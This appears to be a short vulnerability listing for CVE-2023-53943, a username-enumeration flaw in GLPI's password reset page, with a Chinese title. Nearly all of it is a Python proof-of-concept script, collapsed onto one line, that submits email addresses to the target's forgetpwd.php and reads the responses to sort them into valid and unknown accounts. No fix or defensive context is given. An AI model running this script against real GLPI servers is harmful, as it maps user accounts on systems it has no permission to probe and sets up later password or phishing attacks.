CVE-2023-53943 GLPI密码重置功能用户名枚举漏洞

# CVE-2023-53943 GLPI Username Enumeration PoC import requests import sys target_url = "http://target-server/glpi" forget_password_url = f"{target_url}/forgetpwd.php" def check_email(email): """Check if email exists in GLPI via password reset endpoint""" data = { 'email': email, 'update': 'Update' } response = requests.post(forget_password_url, data=data) # Analyze response to determine if email exists if "sent" in response.text.lower() or "send" in response.text.lower(): return True # Email likely exists elif "not found" in response.text.lower() or "no account" in response.text.lower(): return False # Email does not exist return None # Unable to determine # Example usage test_emails = [ "[email protected]", "[email protected]", "[email protected]" ] for email in test_emails: exists = check_email(email) if exists: print(f"[+] Valid user found: {email}") elif exists is False: print(f"[-] No user: {email}") else: print(f"[?] Unknown: {email}")